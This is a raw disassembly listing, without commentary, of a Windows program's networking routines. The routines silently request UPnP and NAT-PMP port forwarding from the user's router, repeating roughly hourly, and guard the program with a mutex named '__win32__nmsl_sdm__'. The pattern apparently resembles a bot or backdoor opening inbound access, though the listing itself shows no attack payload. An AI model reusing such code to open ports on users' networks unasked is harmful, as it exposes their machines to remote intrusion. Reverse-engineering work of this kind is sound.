		cmp	[ebp+arg_0], 0
		jnz	short loc_402B2B
		mov	ax, [ebp+arg_4]
		mov	[ebp+arg_0], ax


loc_402B2B:				; CODE XREF: sub_402B02+1Fj
		push	10h
		push	0
		lea	eax, [ebp+var_181C]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_181C],	2
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_407098	; inet_addr
		mov	[ebp+var_1818],	eax
		push	76Ch
		call	sub_407068	; htons
		mov	[ebp+var_181A],	ax
		mov	[ebp+var_404], 1
		push	11h
		push	2
		push	2
		call	sub_40704A	; socket
		mov	[ebp+var_408], eax
		and	[ebp+var_1828],	0
		mov	[ebp+var_1824],	1
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_407098	; inet_addr
		mov	[ebp+var_1828],	eax
		push	8
		lea	eax, [ebp+var_1828]
		push	eax
		push	5
		push	0
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407050	; setsockopt
		test	eax, eax
		jge	short loc_402BCC
		push	offset aShit	; "shit!\n"
		call	sub_4075F0
		pop	ecx


loc_402BCC:				; CODE XREF: sub_402B02+BDj
		lea	eax, [ebp+var_181C]
		mov	[ebp+var_182C],	eax
		push	10h
		push	[ebp+var_182C]
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407074	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403082
		push	offset aXbind___ ; "xbind...\n"
		call	sub_4075F0
		pop	ecx
		jmp	loc_403082
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_402B02+587j
		mov	[ebp+var_1884],	10h
		push	[ebp+var_404]
		push	offset aSendingIupnpDi ; "sending IUPnP	discovery request #%i...\n"...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		call	sub_4079E0
		pop	ecx
		push	10h
		lea	edx, [ebp+var_181C]
		push	edx
		push	0
		push	eax
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4070B6	; sendto
		test	eax, eax
		jge	short loc_402C60
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402C60:				; CODE XREF: sub_402B02+149j
		push	[ebp+var_404]
		push	offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_1820]
		push	eax
		push	1006h
		push	0FFFFh
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407050	; setsockopt
		test	eax, eax
		jge	short loc_402CA8
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402CA8:				; CODE XREF: sub_402B02+191j
		push	[ebp+var_404]
		push	offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1884]
		push	eax
		lea	eax, [ebp+var_189C]
		push	eax
		push	0
		push	1000h
		lea	eax, [ebp+var_1409]
		push	eax
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4070BC	; recvfrom
		test	eax, eax
		jge	short loc_402D12
		call	sub_4070C2	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_402CFF
		cmp	[ebp+var_404], 3
		jnz	loc_40307C


loc_402CFF:				; CODE XREF: sub_402B02+1EEj
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402D12:				; CODE XREF: sub_402B02+1E2j
		mov	eax, [ebp+var_1884]
		mov	[ebp+eax+var_1409], 0
		push	[ebp+var_404]
		push	offset aIupnpDiscovery ; "IUPnP	discovery request #%i -- checking"...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		push	offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402D60
		push	[ebp+var_404]
		push	offset aIupnpDiscove_0 ; "IUPnP	discovery request #%i: bad (0)..."...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402D60:				; CODE XREF: sub_402B02+245j
		push	offset aLocation ; "location"
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402D91
		push	[ebp+var_404]
		push	offset aIupnpDiscove_1 ; "IUPnP	discovery request #%i: bad (1)..."...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402D90:				; CODE XREF: sub_402B02+297j
		inc	ebx


loc_402D91:				; CODE XREF: sub_402B02+275j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402D9B
		cmp	al, 3Ah
		jnz	short loc_402D90


loc_402D9B:				; CODE XREF: sub_402B02+293j
		cmp	byte ptr [ebx],	0
		jz	short loc_402DA4
		inc	ebx
		jmp	short loc_402DA4
; ---------------------------------------------------------------------------


loc_402DA3:				; CODE XREF: sub_402B02+2AAj
		inc	ebx


loc_402DA4:				; CODE XREF: sub_402B02+29Cj
					; sub_402B02+29Fj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402DAE
		cmp	al, 20h
		jz	short loc_402DA3


loc_402DAE:				; CODE XREF: sub_402B02+2A6j
		lea	eax, [ebp+var_1809]
		mov	[ebp+var_1834],	eax
		jmp	short loc_402DCD
; ---------------------------------------------------------------------------


loc_402DBC:				; CODE XREF: sub_402B02+2D3j
		mov	edx, [ebp+var_1834]
		mov	al, [ebx]
		mov	[edx], al
		inc	[ebp+var_1834]
		inc	ebx


loc_402DCD:				; CODE XREF: sub_402B02+2B8j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402DD7
		cmp	al, 20h
		jg	short loc_402DBC


loc_402DD7:				; CODE XREF: sub_402B02+2CFj
		mov	edx, [ebp+var_1834]
		mov	byte ptr [edx],	0
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_4079E0
		pop	ecx
		test	eax, eax
		jnz	short loc_402E08
		push	[ebp+var_404]
		push	offset aIupnpDiscove_2 ; "IUPnP	discovery request #%i: bad (2)..."...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E08:				; CODE XREF: sub_402B02+2EDj
		mov	[ebp+var_183E],	0
		lea	eax, [ebp+var_1809]
		push	eax
		push	offset aLocationS ; "location: <%s>\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_4025A9
		add	esp, 0Ch
		mov	[ebp+var_183C],	eax
		test	eax, eax
		jnz	short loc_402E62
		push	[ebp+var_404]
		push	offset aIupnpDiscove_3 ; "IUPnP	discovery request #%i: bad (3)..."...
		call	sub_4075F0
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E62:				; CODE XREF: sub_402B02+347j
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	[ebp+var_183C]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_188C],	eax
		test	eax, eax
		jnz	short loc_402E8F
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E8F:				; CODE XREF: sub_402B02+37Aj
		mov	eax, [ebp+var_183C]
		mov	[ebp+var_1830],	eax


loc_402E9B:				; CODE XREF: sub_402B02+3CBj
		push	offset aService_0 ; "<service>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_18A0],	eax
		test	eax, eax
		jz	short loc_402EBF
		cmp	eax, [ebp+var_1830]
		jbe	short loc_402EC1


loc_402EBF:				; CODE XREF: sub_402B02+3B3j
		jmp	short loc_402ECF
; ---------------------------------------------------------------------------


loc_402EC1:				; CODE XREF: sub_402B02+3BBj
		mov	eax, [ebp+var_18A0]
		mov	[ebp+var_1830],	eax
		jmp	short loc_402E9B
; ---------------------------------------------------------------------------


loc_402ECF:				; CODE XREF: sub_402B02:loc_402EBFj
		push	offset aService	; "</service>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_1888],	eax
		test	eax, eax
		jnz	short loc_402EFC
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_402B02+3E7j
		push	offset aControlurl ; "<controlURL>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_402F1C
		cmp	esi, [ebp+var_1888]
		jb	short loc_402F2D


loc_402F1C:				; CODE XREF: sub_402B02+410j
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402F2D:				; CODE XREF: sub_402B02+418j
		push	400h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		jmp	short loc_402F46
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402B02+44Cj
		inc	esi


loc_402F46:				; CODE XREF: sub_402B02+441j
		mov	al, [esi]
		test	al, al
		jz	short loc_402F50
		cmp	al, 3Eh
		jnz	short loc_402F45


loc_402F50:				; CODE XREF: sub_402B02+448j
		cmp	byte ptr [esi],	0
		jz	short loc_402F56
		inc	esi


loc_402F56:				; CODE XREF: sub_402B02+451j
		cmp	byte ptr [esi],	0
		jnz	short loc_402F6C
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402F6C:				; CODE XREF: sub_402B02+457j
		and	[ebp+var_1838],	0
		jmp	short loc_402F8B
; ---------------------------------------------------------------------------


loc_402F75:				; CODE XREF: sub_402B02+491j
		mov	eax, [ebp+var_1838]
		mov	dl, [esi]
		mov	[ebp+eax+var_400], dl
		inc	[ebp+var_1838]
		inc	esi


loc_402F8B:				; CODE XREF: sub_402B02+471j
		mov	al, [esi]
		test	al, al
		jz	short loc_402F95
		cmp	al, 3Ch
		jnz	short loc_402F75


loc_402F95:				; CODE XREF: sub_402B02+48Dj
		mov	eax, [ebp+var_1838]
		mov	[ebp+eax+var_400], 0
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_402FC5
		lea	edi, [ebp+var_400]
		jmp	short loc_402FF5
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_402B02+4CBj
		inc	edi


loc_402FC5:				; CODE XREF: sub_402B02+4B8j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FCF
		cmp	al, 3Ah
		jnz	short loc_402FC4


loc_402FCF:				; CODE XREF: sub_402B02+4C7j
		cmp	byte ptr [edi],	0
		jz	short loc_402FD8
		inc	edi
		jmp	short loc_402FD8
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402B02+4DEj
		inc	edi


loc_402FD8:				; CODE XREF: sub_402B02+4D0j
					; sub_402B02+4D3j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FE2
		cmp	al, 2Fh
		jz	short loc_402FD7


loc_402FE2:				; CODE XREF: sub_402B02+4DAj
		cmp	byte ptr [edi],	0
		jz	short loc_402FEB
		inc	edi
		jmp	short loc_402FEB
; ---------------------------------------------------------------------------


loc_402FEA:				; CODE XREF: sub_402B02+4F1j
		inc	edi


loc_402FEB:				; CODE XREF: sub_402B02+4E3j
					; sub_402B02+4E6j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FF5
		cmp	al, 2Fh
		jnz	short loc_402FEA


loc_402FF5:				; CODE XREF: sub_402B02+4C0j
					; sub_402B02+4EDj
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	edi
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	0
		call	sub_402896
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403059
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	1
		call	sub_402896
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403059
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	short loc_40307C
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402B02+519j
					; sub_402B02+547j
		push	[ebp+var_404]
		push	offset aIupnpDiscove_4 ; "IUPnP	discovery request #%i: ok.\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407056	; closesocket
		xor	eax, eax
		inc	eax
		jmp	short loc_40309D
; ---------------------------------------------------------------------------


loc_40307C:				; CODE XREF: sub_402B02+1F7j
					; sub_402B02+259j ...
		inc	[ebp+var_404]


loc_403082:				; CODE XREF: sub_402B02+EDj
					; sub_402B02+FEj
		cmp	[ebp+var_404], 3
		jl	loc_402C05
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_407056	; closesocket
		xor	eax, eax


loc_40309D:				; CODE XREF: sub_402B02+159j
					; sub_402B02+1A1j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402B02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030A4	proc near		; CODE XREF: sub_403113+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		and	[ebp+var_4], 0
		xor	esi, esi
		push	3Ch
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40310D
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_4070C8	; GetIpForwardTable
		cmp	eax, 7Ah
		jnz	short loc_4030E8
		push	ebx
		call	sub_401076
		pop	ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40310D


loc_4030E8:				; CODE XREF: sub_4030A4+2Bj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_4070C8	; GetIpForwardTable
		test	eax, eax
		jnz	short loc_403104
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403104
		mov	esi, [ebx+10h]


loc_403104:				; CODE XREF: sub_4030A4+52j
					; sub_4030A4+5Bj
		push	ebx
		call	sub_401076
		pop	ecx
		mov	eax, esi


loc_40310D:				; CODE XREF: sub_4030A4+1Aj
					; sub_4030A4+42j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4030A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403113	proc near		; CODE XREF: sub_40356A+17p
					; sub_404CDF+F5p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_78		= byte ptr -78h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_9C], 0FAh
		call	sub_4030A4
		mov	[ebp+var_84], eax
		test	eax, eax
		jz	loc_40331B
		mov	[ebp+var_94], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_90], eax
		push	14E7h
		call	sub_407068	; htons
		mov	[ebp+var_92], ax
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		push	eax
		push	offset aDefaultGateway ; "default gateway: [%s]\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		push	11h
		push	2
		push	2
		call	sub_40704A	; socket
		mov	esi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_AC]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_AC], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_A8], eax
		push	14E7h
		call	sub_407068	; htons
		mov	[ebp+var_AA], ax
		lea	edi, [ebp+var_AC]
		push	10h
		push	edi
		push	esi
		call	sub_407074	; bind
		jmp	loc_40330A
; ---------------------------------------------------------------------------


loc_4031DE:				; CODE XREF: sub_403113+1FAj
		mov	[ebp+var_C0], 10h
		push	ebx
		push	offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 0
		push	10h


loc_4031FF:				; DATA XREF: DMN1:00451870o
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	2
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_4070B6	; sendto
		test	eax, eax
		jge	short loc_403225
		push	esi
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_40331B
; ---------------------------------------------------------------------------


loc_403225:				; CODE XREF: sub_403113+103j
		push	ebx
		push	offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		call	sub_407050	; setsockopt
		test	eax, eax
		jge	short loc_40325C
		push	esi
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_40331B
; ---------------------------------------------------------------------------


loc_40325C:				; CODE XREF: sub_403113+13Aj
		push	ebx
		push	offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_4070BC	; recvfrom
		test	eax, eax
		jge	short loc_4032A4
		call	sub_4070C2	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_40329A
		cmp	ebx, 9
		jnz	short loc_403303


loc_40329A:				; CODE XREF: sub_403113+180j
		push	esi
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	short loc_40331B
; ---------------------------------------------------------------------------


loc_4032A4:				; CODE XREF: sub_403113+174j
		push	ebx
		push	offset aNatPmpRequestI ; "NAT-PMP request #%i -	ok\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		cmp	[ebp+var_B8], eax
		jnz	short loc_403303
		push	4
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		push	eax
		push	ebx
		push	offset aNatPmpReques_0 ; "NAT-PMP request #%i -	public IP: [%s]\n"
		call	sub_4075F0
		add	esp, 0Ch
		push	esi
		call	sub_407056	; closesocket
		mov	eax, [ebp+var_84]
		jmp	short loc_40331B
; ---------------------------------------------------------------------------


loc_403303:				; CODE XREF: sub_403113+185j
					; sub_403113+1AAj
		inc	ebx
		shl	[ebp+var_9C], 1


loc_40330A:				; CODE XREF: sub_403113+C6j
		cmp	ebx, 0Ah
		jl	loc_4031DE
		push	esi
		call	sub_407056	; closesocket
		xor	eax, eax


loc_40331B:				; CODE XREF: sub_403113+23j
					; sub_403113+10Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403322	proc near		; CODE XREF: sub_40356A+33p
					; sub_404CDF+110p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7A		= byte ptr -7Ah
var_78		= byte ptr -78h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_94], 0FAh
		mov	[ebp+var_90], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8C], eax
		push	14E7h
		call	sub_407068	; htons
		mov	[ebp+var_8E], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A8], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		push	eax
		push	offset aRouterIpS ; "router ip:	[%s]\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		xor	esi, esi
		inc	esi
		push	11h
		push	2
		push	2
		call	sub_40704A	; socket
		mov	edi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_A4], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A0], eax
		push	14E7h
		call	sub_407068	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_AC], eax
		push	10h
		push	[ebp+var_AC]
		push	edi
		call	sub_407074	; bind
		jmp	loc_403552
; ---------------------------------------------------------------------------


loc_4033DC:				; CODE XREF: sub_403322+233j
		mov	[ebp+var_C0], 10h
		push	esi
		push	offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 2
		mov	[ebp+var_7E], 0
		mov	[ebp+var_7D], 0
		lea	ebx, [ebp+var_7C]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_407068	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_7A]
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_407068	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_78]
		mov	word ptr [ebx],	0E10h
		mov	[ebp+var_76], 0
		mov	[ebp+var_75], 0
		push	10h
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_4070B6	; sendto
		test	eax, eax
		jge	short loc_40345B
		push	edi
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_40345B:				; CODE XREF: sub_403322+12Aj
		push	esi
		push	offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_94]
		push	eax
		push	1006h
		push	0FFFFh
		push	edi
		call	sub_407050	; setsockopt
		test	eax, eax
		jge	short loc_403492
		push	edi
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_403492:				; CODE XREF: sub_403322+161j
		push	esi
		push	offset aReceivingNat_0 ; "receiving NAT-PMP fwd	request	#%i...\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	10h
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_4070BC	; recvfrom
		test	eax, eax
		jge	short loc_4034DD
		call	sub_4070C2	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_4034D0
		cmp	esi, 9
		jnz	short loc_40354B


loc_4034D0:				; CODE XREF: sub_403322+1A7j
		push	edi
		call	sub_407056	; closesocket
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_4034DD:				; CODE XREF: sub_403322+19Bj
		push	esi
		push	offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_B8], eax
		jnz	short loc_40354B
		cmp	[ebp+var_7F], 82h
		jnz	short loc_40354B
		lea	ebx, [ebp+var_7E]
		cmp	word ptr [ebx],	0
		jnz	short loc_40354B
		lea	ebx, [ebp+var_78]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_407068	; htons
		cmp	[ebx], ax
		jnz	short loc_40354B
		lea	ebx, [ebp+var_76]
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_407086	; htons
		movzx	eax, ax
		push	eax
		push	esi
		push	offset aNatPmpReques_1 ; "NAT-PMP request #%i -	port: [%i]\n"
		call	sub_4075F0
		add	esp, 0Ch
		push	edi
		call	sub_407056	; closesocket
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_407068	; htons
		movzx	eax, ax
		jmp	short loc_403563
; ---------------------------------------------------------------------------


loc_40354B:				; CODE XREF: sub_403322+1ACj
					; sub_403322+1D4j ...
		inc	esi
		shl	[ebp+var_94], 1


loc_403552:				; CODE XREF: sub_403322+B5j
		cmp	esi, 0Ah
		jl	loc_4033DC
		push	edi
		call	sub_407056	; closesocket
		xor	eax, eax


loc_403563:				; CODE XREF: sub_403322+134j
					; sub_403322+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40356A	proc near		; DATA XREF: sub_406A07+3Fo
					; DMN1:00447EB1o
		push	ebx
		push	esi
		push	edi


loc_40356D:				; CODE XREF: sub_40356A:loc_4035FBj
		xor	ebx, ebx
		inc	ebx


loc_403570:				; CODE XREF: sub_40356A+15j
		push	0EA60h
		call	dword_411D04	; Sleep
		inc	ebx
		cmp	ebx, 3Fh
		jl	short loc_403570
		call	sub_403113
		mov	edi, eax
		mov	eax, dword_411010
		mov	si, ax
		movzx	eax, si
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	edi
		call	sub_403322
		add	esp, 0Ch
		mov	si, ax
		test	si, si
		jz	short loc_4035CD
		movzx	eax, si
		cmp	eax, dword_411010
		jz	short loc_4035CD
		movzx	eax, si
		mov	dword_411010, eax
		push	1
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange


loc_4035CD:				; CODE XREF: sub_40356A+41j
					; sub_40356A+4Cj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_402B02
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4035FB
		mov	eax, dword_41100C
		cmp	dword_411010, eax
		jz	short loc_4035FB
		push	1
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange


loc_4035FB:				; CODE XREF: sub_40356A+75j
					; sub_40356A+82j
		jmp	loc_40356D
sub_40356A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403604	proc near		; CODE XREF: sub_406A81+77p
		push	ebx
		cmp	dword_411018, 0
		jz	short loc_403612
		xor	eax, eax
		jmp	short loc_403656
; ---------------------------------------------------------------------------


loc_403612:				; CODE XREF: sub_403604+8j
		xor	ebx, ebx
		push	offset a__win32__nmsl_ ; "__win32__nmsl_sdm__"
		push	0
		push	0
		call	dword_411D0C	; CreateMutexA
		mov	dword_411018, eax
		cmp	dword_411018, 0
		jz	short loc_403654
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_403654
		xor	ebx, ebx
		inc	ebx
		push	dword_411018
		call	dword_411CFC	; CloseHandle
		and	dword_411018, 0


loc_403654:				; CODE XREF: sub_403604+2Bj
					; sub_403604+38j
		mov	eax, ebx


loc_403656:				; CODE XREF: sub_403604+Cj
		pop	ebx
		retn
sub_403604	endp


; =============== S U B	R O U T	I N E =======================================



sub_403658	proc near		; CODE XREF: sub_403FEAp
					; sub_40400E+81p ...
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a__win32__nmsl_ ; "__win32__nmsl_sdm__"
		push	0
		push	100000h
		call	dword_411D10	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403680
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CFC	; CloseHandle
		xor	ebx, ebx


loc_403680:				; CODE XREF: sub_403658+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_403658	endp


; =============== S U B	R O U T	I N E =======================================



